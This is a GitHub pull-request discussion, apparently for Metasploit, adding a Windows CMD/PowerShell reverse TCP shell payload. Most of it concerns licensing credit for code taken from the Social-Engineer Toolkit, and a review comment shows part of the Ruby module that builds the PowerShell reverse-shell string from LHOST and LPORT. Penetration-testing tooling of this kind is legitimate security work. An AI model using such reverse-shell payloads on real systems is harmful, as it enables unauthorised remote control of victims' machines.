New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Windows CMD Powershell Reverse TCP #2959
Conversation
Ping @trustedsec, in order to give him the opportunity to review/discuss in the pr, since looks like this code is based on code available in his repository. On the other hand, looking at https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE, looks like we should update our LICENSE file. Not a big deal, we'll do by ourselves at landing time, just writing down to not forget! |
Tested on Windows 7 successfully:
Paylaod generated with:
|
@jvazquez-r7 Did you include the license somewhere? If you did, it might be the wrong place, because I'm not seeing it in the LICENSE file. |
So the @trustedsec license has: And so Dave Kennedy is included as one of the module authors which to me satisfies the license terms? :) |
You guys can use it for whatever you want, don't worry about the credit in MSF =) Take this as my verbal permission to use it for whatever you want inside Metasploit! |
@wchen-r7 @Meatballs1 @trustedsec see final landing here: aa07065
More clarifications to be sure there are no issues :) :
|
Much hugs and kisses ;) |
Hugs and kisses all the way =) Thanks for putting this together it rocks and I'll definitely be using it =) |
def command_string | ||
lhost = datastore['LHOST'] | ||
lport = datastore['LPORT'] | ||
powershell = "function RSC{"\ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe a heredoc with per-line strip
would make this a little more readable:
powershell = <<-EOS.lines.map(&:strip).join
function RSC{
…
}else{RSC}};
EOS
Windows deserves some decent CMD payloads too.
Looks like I based this on: https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell by way of a random pastebin from google :)
We can use #2964 to reduce badchars :)